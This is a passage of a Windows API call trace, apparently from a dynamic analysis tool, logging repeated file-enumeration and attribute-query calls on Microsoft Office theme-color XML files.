	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.808] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655868 | out: lpFileInformation=0x12655868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1
	[0051.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), fInfoLevelId=0x0, lpFileInformation=0x126558b8 | out: lpFileInformation=0x126558b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d)) returned 1
	[0051.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655908 | out: lpFileInformation=0x12655908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf)) returned 1
	[0051.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655958 | out: lpFileInformation=0x12655958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5)) returned 1
	[0051.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), fInfoLevelId=0x0, lpFileInformation=0x126559a8 | out: lpFileInformation=0x126559a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), fInfoLevelId=0x0, lpFileInformation=0x126559f8 | out: lpFileInformation=0x126559f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655a48 | out: lpFileInformation=0x12655a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f)) returned 1
	[0051.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655a98 | out: lpFileInformation=0x12655a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
	[0051.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655ae8 | out: lpFileInformation=0x12655ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e)) returned 1
	[0051.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655b38 | out: lpFileInformation=0x12655b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1
	[0051.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655b88 | out: lpFileInformation=0x12655b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1
	[0051.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655bd8 | out: lpFileInformation=0x12655bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2)) returned 1
	[0051.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655c28 | out: lpFileInformation=0x12655c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1
	[0051.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655c78 | out: lpFileInformation=0x12655c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655cc8 | out: lpFileInformation=0x12655cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1
	[0051.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655d18 | out: lpFileInformation=0x12655d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1
	[0051.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655d68 | out: lpFileInformation=0x12655d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf)) returned 1
	[0051.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655db8 | out: lpFileInformation=0x12655db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2)) returned 1
	[0051.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655e08 | out: lpFileInformation=0x12655e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1
	[0051.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655e58 | out: lpFileInformation=0x12655e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf)) returned 1
	[0051.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655ea8 | out: lpFileInformation=0x12655ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1
	[0051.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655ef8 | out: lpFileInformation=0x12655ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e)) returned 1
	[0051.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655f48 | out: lpFileInformation=0x12655f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), fInfoLevelId=0x0, lpFileInformation=0x12655f98 | out: lpFileInformation=0x12655f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
	[0051.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c008 | out: lpFileInformation=0x1270c008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c058 | out: lpFileInformation=0x1270c058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1
	[0051.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c0a8 | out: lpFileInformation=0x1270c0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2)) returned 1
	[0051.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c0f8 | out: lpFileInformation=0x1270c0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
